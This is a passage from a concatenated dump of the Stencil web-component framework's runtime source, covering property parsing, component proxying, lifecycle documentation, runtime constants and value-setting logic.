'../declarations'; // Private export const computeMode = (elm: d.HostElement) => modeResolutionChain.map((h) => h(elm)).find((m) => !!m); // Public export const setMode = (handler: d.ResolutionHandler) => modeResolutionChain.push(handler); export const getMode = (ref: d.RuntimeRef) => getHostRef(ref)?.$modeName$; ================================================ FILE: src/runtime/nonce.ts ================================================ import { plt } from '@platform'; /** * Assigns the given value to the nonce property on the runtime platform object. * During runtime, this value is used to set the nonce attribute on all dynamically created script and style tags. * @param nonce The value to be assigned to the platform nonce property. * @returns void */ export const setNonce = (nonce: string) => (plt.$nonce$ = nonce); ================================================ FILE: src/runtime/parse-property-value.ts ================================================ import { BUILD } from '@app-data'; import { MEMBER_FLAGS, SERIALIZED_PREFIX } from '../utils/constants'; import { isComplexType } from '../utils/helpers'; import { deserializeProperty } from '../utils/serialize'; /** * Parse a new property value for a given property type. * * While the prop value can reasonably be expected to be of `any` type as far as TypeScript's type checker is concerned, * it is not safe to assume that the string returned by evaluating `typeof propValue` matches: * 1. `any`, the type given to `propValue` in the function signature * 2. the type stored from `propType`. * * This function provides the capability to parse/coerce a property's value to potentially any other JavaScript type. * * Property values represented in TSX preserve their type information. In the example below, the number 0 is passed to * a component. This `propValue` will preserve its type information (`typeof propValue === 'number'`). Note that is * based on the type of the value being passed in, not the type declared of the class member decorated with `@Prop`. * ```tsx * * ``` * * HTML prop values on the other hand, will always a string * * @param propValue the new value to coerce to some type * @param propType the type of the prop, expressed as a binary number * @param isFormAssociated whether the component is form-associated (optional) * @returns the parsed/coerced value */ export const parsePropertyValue = (propValue: unknown, propType: number, isFormAssociated?: boolean): any => { /** * Allow hydrate parameters that contain a complex non-serialized values. * This is SSR-specific and should only run during hydration. */ if ( (BUILD.hydrateClientSide || BUILD.hydrateServerSide) && typeof propValue === 'string' && propValue.startsWith(SERIALIZED_PREFIX) ) { propValue = deserializeProperty(propValue); return propValue; } if (propValue != null && !isComplexType(propValue)) { /** * ensure this value is of the correct prop type */ if (BUILD.propBoolean && propType & MEMBER_FLAGS.Boolean) { /** * For form-associated components, according to HTML spec, the presence of any boolean attribute * (regardless of its value, even "false") should make the property true. * For non-form-associated components, we maintain the legacy behavior where "false" becomes false. */ if (BUILD.formAssociated && isFormAssociated && typeof propValue === 'string') { // For form-associated components, any string attribute value (including "false") means true return propValue === '' || !!propValue; } else { // Legacy behavior: string "false" becomes boolean false return propValue === 'false' ? false : propValue === '' || !!propValue; } } /** * force it to be a number */ if (BUILD.propNumber && propType & MEMBER_FLAGS.Number) { return typeof propValue === 'string' ? parseFloat(propValue) : typeof propValue === 'number' ? propValue : NaN; } /** * could have been passed as a number or boolean but we still want it as a string */ if (BUILD.propString && propType & MEMBER_FLAGS.String) { return String(propValue); } return propValue; } /** * not sure exactly what type we want so no need to change to a different type */ return propValue; }; ================================================ FILE: src/runtime/platform-options.ts ================================================ import { plt } from '@platform'; interface SetPlatformOptions { raf?: (c: FrameRequestCallback) => number; ael?: ( el: EventTarget, eventName: string, listener: EventListenerOrEventListenerObject, options: boolean | AddEventListenerOptions, ) => void; rel?: ( el: EventTarget, eventName: string, listener: EventListenerOrEventListenerObject, options: boolean | AddEventListenerOptions, ) => void; ce?: (eventName: string, opts?: any) => CustomEvent; } export const setPlatformOptions = (opts: SetPlatformOptions) => Object.assign(plt, opts); ================================================ FILE: src/runtime/profile.ts ================================================ import { BUILD } from '@app-data'; import { getHostRef, win } from '@platform'; import { HOST_FLAGS } from '../utils/constants'; let i = 0; export const createTime = (fnName: string, tagName = '') => { if (BUILD.profile && performance.mark) { const key = `st:${fnName}:${tagName}:${i++}`; // Start performance.mark(key); // End return () => performance.measure(`[Stencil] ${fnName}() <${tagName}>`, key); } else { return () => { return; }; } }; export const uniqueTime = (key: string, measureText: string) => { if (BUILD.profile && performance.mark) { if (performance.getEntriesByName(key, 'mark').length === 0) { performance.mark(key); } return () => { if (performance.getEntriesByName(measureText, 'measure').length === 0) { performance.measure(measureText, key); } }; } else { return () => { return; }; } }; const inspect = (ref: any) => { const hostRef = getHostRef(ref); if (!hostRef) { return undefined; } const flags = hostRef.$flags$; const hostElement = hostRef.$hostElement$; return { renderCount: hostRef.$renderCount$, flags: { hasRendered: !!(flags & HOST_FLAGS.hasRendered), hasConnected: !!(flags & HOST_FLAGS.hasConnected), isWaitingForChildren: !!(flags & HOST_FLAGS.isWaitingForChildren), isConstructingInstance: !!(flags & HOST_FLAGS.isConstructingInstance), isQueuedForUpdate: !!(flags & HOST_FLAGS.isQueuedForUpdate), hasInitializedComponent: !!(flags & HOST_FLAGS.hasInitializedComponent), hasLoadedComponent: !!(flags & HOST_FLAGS.hasLoadedComponent), isWatchReady: !!(flags & HOST_FLAGS.isWatchReady), isListenReady: !!(flags & HOST_FLAGS.isListenReady), needsRerender: !!(flags & HOST_FLAGS.needsRerender), }, instanceValues: hostRef.$instanceValues$, serializerValues: hostRef.$serializerValues$, ancestorComponent: hostRef.$ancestorComponent$, hostElement, lazyInstance: hostRef.$lazyInstance$, vnode: hostRef.$vnode$, modeName: hostRef.$modeName$, fetchedCbList: hostRef.$fetchedCbList$, onReadyPromise: hostRef.$onReadyPromise$, onReadyResolve: hostRef.$onReadyResolve$, onInstancePromise: hostRef.$onInstancePromise$, onInstanceResolve: hostRef.$onInstanceResolve$, onRenderResolve: hostRef.$onRenderResolve$, queuedListeners: hostRef.$queuedListeners$, rmListeners: hostRef.$rmListeners$, ['s-id']: hostElement['s-id'], ['s-cr']: hostElement['s-cr'], ['s-lr']: hostElement['s-lr'], ['s-p']: hostElement['s-p'], ['s-rc']: hostElement['s-rc'], ['s-sc']: hostElement['s-sc'], }; }; export const installDevTools = () => { if (BUILD.devTools) { const stencil = ((win as any).stencil = (win as any).stencil || {}); const originalInspect = stencil.inspect; stencil.inspect = (ref: any) => { let result = inspect(ref); if (!result && typeof originalInspect === 'function') { result = originalInspect(ref); } return result; }; } }; ================================================ FILE: src/runtime/proxy-component.ts ================================================ import { BUILD } from '@app-data'; import { consoleDevWarn, getHostRef, parsePropertyValue, plt } from '@platform'; import type * as d from '../declarations'; import { CMP_FLAGS, HOST_FLAGS, MEMBER_FLAGS, WATCH_FLAGS } from '../utils/constants'; import { getPropertyDescriptor } from '../utils/get-prop-descriptor'; import { FORM_ASSOCIATED_CUSTOM_ELEMENT_CALLBACKS, PROXY_FLAGS } from './runtime-constants'; import { getValue, setValue } from './set-value'; /** * Attach a series of runtime constructs to a compiled Stencil component * constructor, including getters and setters for the `@Prop` and `@State` * decorators, callbacks for when attributes change, and so on. * * On a lazy loaded component, this is wired up to both the class instance * and the element separately. A `hostRef` keeps the 2 in sync. * * On a traditional component, this is wired up to the element only. * * @param Cstr the constructor for a component that we need to process * @param cmpMeta metadata collected previously about the component * @param flags a number used to store a series of bit flags * @returns a reference to the same constructor passed in (but now mutated) */ export const proxyComponent = ( Cstr: d.ComponentConstructor, cmpMeta: d.ComponentRuntimeMeta, flags: number, ): d.ComponentConstructor => { const prototype = (Cstr as any).prototype; if (BUILD.isTesting) { if (prototype.__stencilAugmented) { // @ts-expect-error - we don't want to re-augment the prototype. This happens during spec tests. return; } prototype.__stencilAugmented = true; } /** * proxy form associated custom element lifecycle callbacks * @ref https://web.dev/articles/more-capable-form-controls#lifecycle_callbacks */ if (BUILD.formAssociated && cmpMeta.$flags$ & CMP_FLAGS.formAssociated && flags & PROXY_FLAGS.isElementConstructor) { FORM_ASSOCIATED_CUSTOM_ELEMENT_CALLBACKS.forEach((cbName) => { const originalFormAssociatedCallback = prototype[cbName]; Object.defineProperty(prototype, cbName, { value(this: d.HostElement, ...args: any[]) { const hostRef = getHostRef(this); const instance: d.ComponentInterface = BUILD.lazyLoad ? hostRef?.$lazyInstance$ : this; if (!instance) { hostRef?.$onReadyPromise$?.then((asyncInstance: d.ComponentInterface) => { const cb = asyncInstance[cbName]; typeof cb === 'function' && cb.call(asyncInstance, ...args); }); } else { // Use the method on `instance` if `lazyLoad` is set, otherwise call the original method to avoid an infinite loop. const cb = BUILD.lazyLoad ? instance[cbName] : originalFormAssociatedCallback; typeof cb === 'function' && cb.call(instance, ...args); } }, }); }); } if ((BUILD.member && cmpMeta.$members$) || BUILD.propChangeCallback) { if (BUILD.propChangeCallback) { if (Cstr.watchers && !cmpMeta.$watchers$) { cmpMeta.$watchers$ = Cstr.watchers; } if (Cstr.deserializers && !cmpMeta.$deserializers$) { cmpMeta.$deserializers$ = Cstr.deserializers; } if (Cstr.serializers && !cmpMeta.$serializers$) { cmpMeta.$serializers$ = Cstr.serializers; } } // It's better to have a const than two Object.entries() const members = Object.entries(cmpMeta.$members$ ?? {}); members.map(([memberName, [memberFlags]]) => { // is this member a `@Prop` or it's a `@State` // AND either native component-element or it's a lazy class instance if ( (BUILD.prop || BUILD.state) && (memberFlags & MEMBER_FLAGS.Prop || ((!BUILD.lazyLoad || flags & PROXY_FLAGS.proxyState) && memberFlags & MEMBER_FLAGS.State)) ) { // preserve any getters / setters that already exist on the prototype; // we'll call them via our new accessors. On a lazy component, this would only be called on the class instance. const { get: origGetter, set: origSetter } = getPropertyDescriptor(prototype, memberName) || {}; if (origGetter) cmpMeta.$members$[memberName][0] |= MEMBER_FLAGS.Getter; if (origSetter) cmpMeta.$members$[memberName][0] |= MEMBER_FLAGS.Setter; if (flags & PROXY_FLAGS.isElementConstructor || !origGetter) { // if it's an Element (native or proxy) // OR it's a lazy class instance and doesn't have a getter Object.defineProperty(prototype, memberName, { get(this: d.RuntimeRef) { if (BUILD.lazyLoad) { if ((cmpMeta.$members$[memberName][0] & MEMBER_FLAGS.Getter) === 0) { // no getter - let's return value now return getValue(this, memberName); } const ref = getHostRef(this); const instance = ref ? ref.$lazyInstance$ : prototype; if (!instance) return; return instance[memberName]; } if (!BUILD.lazyLoad) { return origGetter ? origGetter.apply(this) : getValue(this, memberName); } }, configurable: true, enumerable: true, }); } Object.defineProperty(prototype, memberName, { set(this: d.RuntimeRef, newValue) { const ref = getHostRef(this); if (!ref) { return; } // only during dev if (BUILD.isDev) { if ( // we are proxying the instance (not element) (flags & PROXY_FLAGS.isElementConstructor) === 0 && // if the class has a setter, then the Element can update instance values, so ignore (cmpMeta.$members$[memberName][0] & MEMBER_FLAGS.Setter) === 0 && // the element is not constructing (ref && ref.$flags$ & HOST_FLAGS.isConstructingInstance) === 0 && // the member is a prop (memberFlags & MEMBER_FLAGS.Prop) !== 0 && // the member is not mutable (memberFlags & MEMBER_FLAGS.Mutable) === 0 ) { consoleDevWarn( `@Prop() "${memberName}" on <${cmpMeta.$tagName$}> is immutable but was modified from within the component.\nMore information: https://stenciljs.com/docs/properties#prop-mutability`, ); } } if (origSetter) { // Lazy class instance or native component-element only: // we have an original setter, so we need to set our value via that. // do we have a value already? const currentValue = memberFlags & MEMBER_FLAGS.State ? this[memberName as keyof d.RuntimeRef] : ref.$hostElement$[memberName as keyof d.HostElement]; if (typeof currentValue === 'undefined' && ref.$instanceValues$.get(memberName)) { // no host value but a value already set on the hostRef, // this means the setter was added at run-time (e.g. via a decorator). // We want any value set on the element to override the default class instance value. newValue = ref.$instanceValues$.get(memberName); } // this sets the value via the `set()` function which // *might* not end up changing the underlying value origSetter.apply(this, [ parsePropertyValue( newValue, memberFlags, BUILD.formAssociated && !!(cmpMeta.$flags$ & CMP_FLAGS.formAssociated), ), ]); // if it's a State property, we need to get the value from the instance newValue = memberFlags & MEMBER_FLAGS.State ? this[memberName as keyof d.RuntimeRef] : ref.$hostElement$[memberName as keyof d.HostElement]; setValue(this, memberName, newValue, cmpMeta); return; } if (!BUILD.lazyLoad) { // we can set the value directly now if it's a native component-element setValue(this, memberName, newValue, cmpMeta); return; } if (BUILD.lazyLoad) { // Lazy class instance OR proxy Element with no setter: // set the element value directly now if ( (flags & PROXY_FLAGS.isElementConstructor) === 0 || (cmpMeta.$members$[memberName][0] & MEMBER_FLAGS.Setter) === 0 ) { setValue(this, memberName, newValue, cmpMeta); // if this is a value set on an Element *before* the instance has initialized (e.g. via an html attr)... if (flags & PROXY_FLAGS.isElementConstructor && !ref.$lazyInstance$) { // wait for lazy instance... ref.$fetchedCbList$.push(() => { // check if this instance member has a setter doesn't match what's already on the element if ( cmpMeta.$members$[memberName][0] & MEMBER_FLAGS.Setter && ref.$lazyInstance$[memberName] !== ref.$instanceValues$.get(memberName) ) { // this catches cases where there's a run-time only setter (e.g. via a decorator) // *and* no initial value, so the initial setter never gets called ref.$lazyInstance$[memberName] = newValue; } }); } return; } // lazy element with a setter // we might need to wait for the lazy class instance to be ready // before we can set it's value via it's setter function const setterSetVal = () => { const currentValue = ref.$lazyInstance$[memberName]; if (!ref.$instanceValues$.get(memberName) && currentValue) { // on init `get()` make sure the hostRef matches class instance // the prop `set()` doesn't fire during `constructor()`: // no initial value gets set in the hostRef. // This means watchers fire even though the value hasn't changed. // So if there's a current value and no initial value, let's set it now. ref.$instanceValues$.set(memberName, currentValue); } // this sets the value via the `set()` function which // might not end up changing the underlying value ref.$lazyInstance$[memberName] = parsePropertyValue( newValue, memberFlags, BUILD.formAssociated && !!(cmpMeta.$flags$ & CMP_FLAGS.formAssociated), ); setValue(this, memberName, ref.$lazyInstance$[memberName], cmpMeta); }; if (ref.$lazyInstance$) { setterSetVal(); } else { // the class is yet to be loaded / defined so queue the call ref.$fetchedCbList$.push(() => { setterSetVal(); }); } } }, }); } else if ( BUILD.lazyLoad && BUILD.method && flags & PROXY_FLAGS.isElementConstructor && memberFlags & MEMBER_FLAGS.Method ) { // proxyComponent - method Object.defineProperty(prototype, memberName, { value(this: d.HostElement, ...args: any[]) { const ref = getHostRef(this); return ref?.$onInstancePromise$?.then(() => ref.$lazyInstance$?.[memberName](...args)); }, }); } }); if (BUILD.observeAttribute && (!BUILD.lazyLoad || flags & PROXY_FLAGS.isElementConstructor)) { const attrNameToPropName = new Map(); prototype.attributeChangedCallback = function (attrName: string, oldValue: string, newValue: string) { plt.jmp(() => { const propName = attrNameToPropName.get(attrName); const hostRef = getHostRef(this); if ( BUILD.serializer && hostRef.$serializerValues$.has(propName) && hostRef.$serializerValues$.get(propName) === newValue ) { // The newValue is the same as a saved serialized value from a prop update. // The prop can be intentionally different from the attribute; // updating the underlying prop here can cause an infinite loop. return; } // In a web component lifecycle the attributeChangedCallback runs prior to connectedCallback // in the case where an attribute was set inline. // ```html // // ``` // // There is an edge case where a developer sets the attribute inline on a custom element and then // programmatically changes it before it has been upgraded as shown below: // // ```html // // // // ``` // In this case if we do not un-shadow here and use the value of the shadowing property, attributeChangedCallback // will be called with `newValue = "some-value"` and will set the shadowed property (this.someAttribute = "another-value") // to the value that was set inline i.e. "some-value" from above example. When // the connectedCallback attempts to un-shadow it will use "some-value" as the initial value rather than "another-value" // // The case where the attribute was NOT set inline but was not set programmatically shall be handled/un-shadowed // by connectedCallback as this attributeChangedCallback will not fire. // // https://developers.google.com/web/fundamentals/web-components/best-practices#lazy-properties // // TODO(STENCIL-16) we should think about whether or not we actually want to be reflecting the attributes to // properties here given that this goes against best practices outlined here // https://developers.google.com/web/fundamentals/web-components/best-practices#avoid-reentrancy if (this.hasOwnProperty(propName) && BUILD.lazyLoad) { newValue = this[propName]; delete this[propName]; } if (BUILD.deserializer && cmpMeta.$deserializers$ && cmpMeta.$deserializers$[propName]) { const setVal = (methodName: string, instance: any) => { const deserializeVal = instance?.[methodName](newValue, propName); if (deserializeVal !== this[propName]) { this[propName] = deserializeVal; } }; for (const deserializer of cmpMeta.$deserializers$[propName]) { const [[methodName]] = Object.entries(deserializer); if (BUILD.lazyLoad) { if (hostRef.$lazyInstance$) { setVal(methodName, hostRef.$lazyInstance$); } else { // If the instance is not ready, we can queue the update hostRef.$fetchedCbList$.push(() => { setVal(methodName, hostRef.$lazyInstance$); }); } } else { setVal(methodName, this); } } return; } else if ( prototype.hasOwnProperty(propName) && typeof this[propName] === 'number' && // cast type to number to avoid TS compiler issues this[propName] == (newValue as unknown as number) ) { // if the propName exists on the prototype of `Cstr`, this update may be a result of Stencil using native // APIs to reflect props as attributes. Calls to `setAttribute(someElement, propName)` will result in // `propName` to be converted to a `DOMString`, which may not be what we want for other primitive props. return; } else if (propName == null) { // At this point we should know this is not a "member", so we can treat it like watching an attribute // on a vanilla web component const flags = hostRef?.$flags$; // We only want to trigger the callback(s) if: // 1. The instance is ready // 2. The watchers are ready // 3. The value has changed if (hostRef && flags && !(flags & HOST_FLAGS.isConstructingInstance) && newValue !== oldValue) { const elm = BUILD.lazyLoad ? hostRef.$hostElement$ : this; const instance = BUILD.lazyLoad ? hostRef.$lazyInstance$ : (elm as any); const entry = cmpMeta.$watchers$?.[attrName]; entry?.forEach((watcher) => { const [[watchMethodName, watcherFlags]] = Object.entries(watcher); if ( instance[watchMethodName] != null && (flags & HOST_FLAGS.isWatchReady || watcherFlags & WATCH_FLAGS.Immediate) ) { instance[watchMethodName].call(instance, newValue, oldValue, attrName); } }); } return; } // special handling of boolean attributes. Null (removal) means false. // everything else means true (including an empty string const propFlags = members.find(([m]) => m === propName); if (propFlags && propFlags[1][0] & MEMBER_FLAGS.Boolean) { (newValue as any) = newValue === null || newValue === 'false' ? false : true; } // test whether this property either has no 'getter' or if it does, does it also have a 'setter' // before attempting to write back to component props const propDesc = Object.getOwnPropertyDescriptor(prototype, propName); if (newValue != this[propName] && (!propDesc.get || !!propDesc.set)) { this[propName] = newValue; } }); }; // Create an array of attributes to observe // This list in comprised of all strings used within a `@Watch()` decorator // on a component as well as any Stencil-specific "members" (`@Prop()`s and `@State()`s). // As such, there is no way to guarantee type-safety here that a user hasn't entered // an invalid attribute. Cstr.observedAttributes = Array.from( new Set([ ...Object.keys(cmpMeta.$watchers$ ?? {}), ...members .filter(([_, m]) => m[0] & MEMBER_FLAGS.HasAttribute) .map(([propName, m]) => { const attrName = m[1] || propName; attrNameToPropName.set(attrName, propName); if (BUILD.reflect && m[0] & MEMBER_FLAGS.ReflectAttr) { cmpMeta.$attrsToReflect$?.push([propName, attrName]); } return attrName; }), ]), ); } } return Cstr; }; ================================================ FILE: src/runtime/readme.md ================================================ ## Lifecycle Order Of Operations Component lifecycle events fire `componentWillLoad` from top to bottom, then fire `componentDidLoad` from bottom to top. It should take into account each component can finish lazy-loaded requests in any random order. Additionally, any `componentWillLoad` can return a promise that all child components should wait on until it's resolved, while still keeping the correct firing order. ``` cmp-a - componentWillLoad cmp-b - componentWillLoad cmp-c - componentWillLoad cmp-c - componentDidLoad cmp-b - componentDidLoad cmp-a - componentDidLoad ``` ## Hydrated CSS Visibility By default, components are assigned `visibility: hidden` using their tag name as the css selector. Therefore, before the components and their descendants have finished hydrating, each component is hidden by default. This is done to prevent janky flickering as components hydrate asynchronously. As each component fully loads the `hydrated` css class is then added. The `hydrated` css class that's added to the component assigns `visibility: inherit` style to the element. If any parent component is still hydrating then this component will not show until the top most component has added the `hydrated` css class. ## Lifecycle Process - **Connect**: Synchronously within `connectedCallback`, each component looks for an ancestor component and adds itself as a child component if an ancestor is found. - Climb up the parent elements with a while loop. - Stop at the first element that has an `s-init` function. - If the ancestor component we found hasn't ran its lifecycle update yet, then add this component to the ancestor's `s-al` set. The `s-al` is a set of child components that are actively loading. - If no ancestor component is found then continue without the component setting an ancestor component. - **Initialize Component**: Initialize the component for the first time within `initializeComponent`. - If the component has already initialized loading then do nothing. Data to know if the component has started to initialize is in the host ref data, which ensures it doesn't try to initialize more than once. - Async request the lazy-loaded component constructor and await the response. - After the component implementation constructor request has been received, create a new instance of the component with the lazy-loaded constructor. - The constructor will directly wire the host element and lazy-loaded component instance together with the host ref data. - If the component has an ancestor component, but the ancestor hasn't ran its lifecycle update yet, then this component should not be initialized at this moment and shouldn't fire its `componentWillLoad` yet. Instead, this component should be added to the ancestor component's array of render callbacks `s-rc`, which would call `initializeComponent` again after its ready. Once the ancestor component has ran its lifecycle update, it'll then call all of its child render callbacks so that the `componentWillLoad` lifecycle events are in the correct order. - If there is no ancestor component, or the ancestor component has already rendered, then fire off the first update. - When ready, `updateComponent` will be added as an async write task and ran asynchronously. - **First Update**: The first component update and render from within `updateComponent`. - Set the lifecycle ready value `s-lr` to `false` signifying that the lifecycle update is not ready for this component. - Fire off `componentWillLoad` lifecycle. - Fire off `componentWillRender` lifecycle. - Add scoped css data and classes for scoped encapsulation or shadow dom encapsulation without shadow dom browser support. - Attach shadow root for shadow dom components. - Attach styles to shadow root or document depending on encapsulation. - First render. - Set the lifecycle ready value `s-lr` to `true` signifying that the lifecycle update has happened and the component is now ready for child component lifecycles. - Fire off all of this component's child render callbacks within `s-rc`. Each of the child render callbacks will fire off their own initialize component process. - All component descendants should fire `componentWillLoad` lifecycle in the correct order, top to bottom. - Fire `postUpdateComponent`. The bottom most component will not have any child render callbacks, so at this point the `componentDidLoad` lifecycle events should start firing from bottom to top. - Fire off `componentDidLoad` lifecycle. - Fire off `componentDidRender` lifecycle. - Add `hydrated` css class signifying the component has finished loading. At this point this component has finished updating. - If the component has an ancestor component, then remove this component from its set of actively loading children in `s-al`. - After removing this component from the ancestor component's `s-al` set, if the set is now empty then fire the ancestor component's `s-init`. - Firing `s-init` on the ancestor component allows the ancestor to complete its first update and fire its own `componentDidLoad` lifecycle event, allowing for `componentDidLoad` lifecycles to fire bottom to top. - Fire all `componentOnReady` resolves. - **Subsequent Updates**: All subsequent component updates and re-renders from within `updateComponent`. - Somehow `setValue` is triggered, either through a `Prop` or `State` update, or calling `forceUpdate()` on a component. If there is a change or a forced update, then `setValue` will add `updateComponent` to an async write task. - Fire `updateComponent` from async task queue. - Fire off `componentWillUpdate` lifecycle. - Fire off `componentWillRender` lifecycle. - Patch render. - Fire `postUpdateComponent`. - Fire off `componentDidUpdate` lifecycle. - Fire off `componentDidRender` lifecycle. ## Property Descriptions `s-al`: A component's `Set` of child components that are actively loading. `s-init`: A function to be called by child components to finish initializing the component. `s-lr`: The component's lifecycle ready status. `true` if the component has finished its lifecycle update, falsy if it is actively updating and has not fired off either `componentWillLoad` or `componentWillUpdate`. `s-rc`: A component's array of child component render callbacks. After a component renders, it should then fire off all of its child component render callbacks. ================================================ FILE: src/runtime/render.ts ================================================ import type * as d from '../declarations'; import { renderVdom } from './vdom/vdom-render'; /** * Method to render a virtual DOM tree to a container element. * * @example * ```tsx * import { render } from '@stencil/core'; * * const vnode = ( *
*

Hello, world!

*
* ); * render(vnode, document.body); * ``` * * @param vnode - The virtual DOM tree to render * @param container - The container element to render the virtual DOM tree to */ export function render(vnode: d.VNode, container: Element) { const cmpMeta: d.ComponentRuntimeMeta = { $flags$: 0, $tagName$: container.tagName, }; const ref: d.HostRef = { $flags$: 0, $cmpMeta$: cmpMeta, $hostElement$: container as d.HostElement, }; renderVdom(ref, vnode); } ================================================ FILE: src/runtime/runtime-constants.ts ================================================ /** * Bit flags for recording various properties of VDom nodes */ export const enum VNODE_FLAGS { /** * Whether or not a vdom node is a slot reference */ isSlotReference = 1 << 0, /** * Whether or not a slot element has fallback content */ isSlotFallback = 1 << 1, /** * Whether or not an element is a host element */ isHost = 1 << 2, } export const enum PROXY_FLAGS { isElementConstructor = 1 << 0, proxyState = 1 << 1, } export const enum PLATFORM_FLAGS { /** * designates a node in the DOM as being actively moved by the runtime */ isTmpDisconnected = 1 << 0, appLoaded = 1 << 1, queueSync = 1 << 2, queueMask = appLoaded | queueSync, } /** * A (subset) of node types which are relevant for the Stencil runtime. These * values are based on the values which can possibly be returned by the * `.nodeType` property of a DOM node. See here for details: * * {@link https://dom.spec.whatwg.org/#ref-for-dom-node-nodetype%E2%91%A0} */ export const enum NODE_TYPE { ElementNode = 1, TextNode = 3, CommentNode = 8, DocumentNode = 9, DocumentTypeNode = 10, DocumentFragment = 11, } export const CONTENT_REF_ID = 'r'; export const ORG_LOCATION_ID = 'o'; export const SLOT_NODE_ID = 's'; export const TEXT_NODE_ID = 't'; export const COMMENT_NODE_ID = 'c'; export const HYDRATE_ID = 's-id'; export const HYDRATED_STYLE_ID = 'sty-id'; export const HYDRATE_CHILD_ID = 'c-id'; export const HYDRATED_CSS = '{visibility:hidden}.hydrated{visibility:inherit}'; export const STENCIL_DOC_DATA = '_stencilDocData'; export const DEFAULT_DOC_DATA = { hostIds: 0, rootLevelIds: 0, staticComponents: new Set(), }; /** * Constant for styles to be globally applied to `slot-fb` elements for pseudo-slot behavior. * * Two cascading rules must be used instead of a `:not()` selector due to Stencil browser * support as of Stencil v4. */ export const SLOT_FB_CSS = 'slot-fb{display:contents}slot-fb[hidden]{display:none}'; export const XLINK_NS = 'http://www.w3.org/1999/xlink'; export const FORM_ASSOCIATED_CUSTOM_ELEMENT_CALLBACKS = [ 'formAssociatedCallback', 'formResetCallback', 'formDisabledCallback', 'formStateRestoreCallback', ] as const; ================================================ FILE: src/runtime/set-value.ts ================================================ import { BUILD } from '@app-data'; import { consoleDevWarn, consoleError, getHostRef } from '@platform'; import type * as d from '../declarations'; import { CMP_FLAGS, HOST_FLAGS, WATCH_FLAGS } from '../utils/constants'; import { parsePropertyValue } from './parse-property-value'; import { scheduleUpdate } from './update-component'; export const getValue = (ref: d.RuntimeRef, propName: string) => getHostRef(ref).$instanceValues$.get(propName); export const setValue = (ref: d.RuntimeRef, propName: string, newVal: any, cmpMeta: d.ComponentRuntimeMeta) => { // check our new property value against our internal value const hostRef = getHostRef(ref); if (!hostRef) { return; } /** * If the host element is not found, let's fail with a better error message and provide * details on why this may happen. In certain cases, e.g. see https://github.com/stenciljs/core/issues/5457, * users might import a component through e.g. a loader script, which causes confusions in runtime * as there are multiple runtimes being loaded and/or different components used with different * loading strategies, e.g. lazy vs implicitly loaded. * * Todo(STENCIL-1308): remove, once a solution for this was identified and implemented */ if (BUILD.lazyLoad && !hostRef) { throw new Error( `Couldn't find host element for "${cmpMeta.$tagName$}" as it is ` + 'unknown to this Stencil runtime. This usually happens when integrating ' + 'a 3rd party Stencil component with another Stencil component or application. ' + 'Please reach out to the maintainers of the 3rd party Stencil component or report ' + 'this on the Stencil Discord server (https://chat.stenciljs.com) or comment ' + 'on this similar [GitHub issue](https://github.com/stenciljs/core/issues/5457).', ); } if ( BUILD.serializer && hostRef.$serializerValues$.has(propName) && hostRef.$serializerValues$.get(propName) === newVal ) { // The newValue is the same as a saved serialized value from a prop update. // The prop can be intentionally different from the attribute; // updating the underlying prop here can cause an infinite loop. return; } const elm = BUILD.lazyLoad ? hostRef.$hostElement$ : (ref as d.HostElement); const oldVal = hostRef.$instanceValues$.get(propName); const flags = hostRef.$flags$; const instance = BUILD.lazyLoad ? hostRef.$lazyInstance$ : (elm as any); newVal = parsePropertyValue( newVal, cmpMeta.$members$[propName][0], BUILD.formAssociated && !!(cmpMeta.$flags$ & CMP_FLAGS.formAssociated), ); // explicitly check for NaN on both sides, as `NaN === NaN` is always false const areBothNaN = Number.isNaN(oldVal) && Number.isNaN(newVal); const didValueChange = newVal !== oldVal && !areBothNaN; if ((!BUILD.lazyLoad || !(flags & HOST_FLAGS.isConstructingInstance) || oldVal === undefined) && didValueChange) { // gadzooks! the property's value has changed!! // set our new value! hostRef.$instanceValues$.set(propName, newVal); if (BUILD.serializer && BUILD.reflect && cmpMeta.$attrsToReflect$) { if (cmpMeta.$serializers$ && cmpMeta.$serializers$[propName]) { // this property has a serializer method const runSerializer = (inst: any) => { let attrVal = newVal; for (const serializer of cmpMeta.$serializers$[propName]) { const [[methodName]] = Object.entries(serializer); // call the serializer methods attrVal = inst[methodName](attrVal, propName); } // keep the serialized value - it's used in `renderVdom()` (vdom-render.ts) // to set the attribute on the vnode hostRef.$serializerValues$.set(propName, attrVal); }; if (instance) { runSerializer(instance); } else { // Instance not ready yet, queue the serialization for later hostRef.$fetchedCbList$.push(() => { runSerializer(hostRef.$lazyInstance$); }); } } } if (BUILD.isDev) { if (hostRef.$flags$ & HOST_FLAGS.devOnRender) { consoleDevWarn( `The state/prop "${propName}" changed during rendering. This can potentially lead to infinite-loops and other bugs.`, '\nElement', elm, '\nNew value', newVal, '\nOld value', oldVal, ); } else if (hostRef.$flags$ & HOST_FLAGS.devOnDidLoad) { consoleDevWarn( `The state/prop "${propName}" changed during "componentDidLoad()", this triggers extra re-renders, try to setup on "componentWillLoad()"`, '\nElement', elm, '\nNew value', newVal, '\nOld value', oldVal, ); } } // get an array of method names of watch functions to call if (BUILD.propChangeCallback && cmpMeta.$watchers$) { const watchMethods = cmpMeta.$watchers$[propName]; if (watchMethods) { // this instance is watching for when this property changed watchMethods.map((watcher) => { try { const [[watchMethodName, watcherFlags]] = Object.entries(watcher); if (flags & HOST_FLAGS.isWatchReady || watcherFlags & WATCH_FLAGS.Immediate) { // fire off each of the watch methods that are watching this property if (!instance) { hostRef.$fetchedCbList$.push(() => { hostRef.$lazyInstance$[watchMethodName](newVal, oldVal, propName); }); } else { instance[watchMethodName](newVal, oldVal, propName); } } } catch (e) { consoleError(e, elm); } }); } } if (BUILD.updatable && flags & HOST_FLAGS.hasRendered) { if (instance.componentShouldUpdate) { const shouldUpdate = instance.componentShouldUpdate(newVal, oldVal, propName); // skip scheduling if componentShouldUpdate returns false AND we're not already queued. // If already queued, the render will happen anyway with all the batched prop changes. if (shouldUpdate === false && !(flags & HOST_FLAGS.isQueuedForUpdate)) { return; } } // looks like this value actually changed, so we've got work to do! // but only if we've already rendered, otherwise just chill out // queue that we need to do an update, but don't worry about queuing // up millions cuz this function ensures it only runs once if (!(flags & HOST_FLAGS.isQueuedForUpdate)) { scheduleUpdate(hostRef, false); } } } }; ================================================ FILE: src/runtime/slot-polyfill-utils.ts ================================================ import { BUILD } from '@app-data'; import type * as d from '../declarations'; import { internalCall } from './dom-extras'; import { NODE_TYPE } from './runtime-constants'; /** * Adjust the `.hidden` property as-needed on any nodes in a DOM subtree which * are slot fallback nodes - `...` * * A slot fallback node should be visible by default. 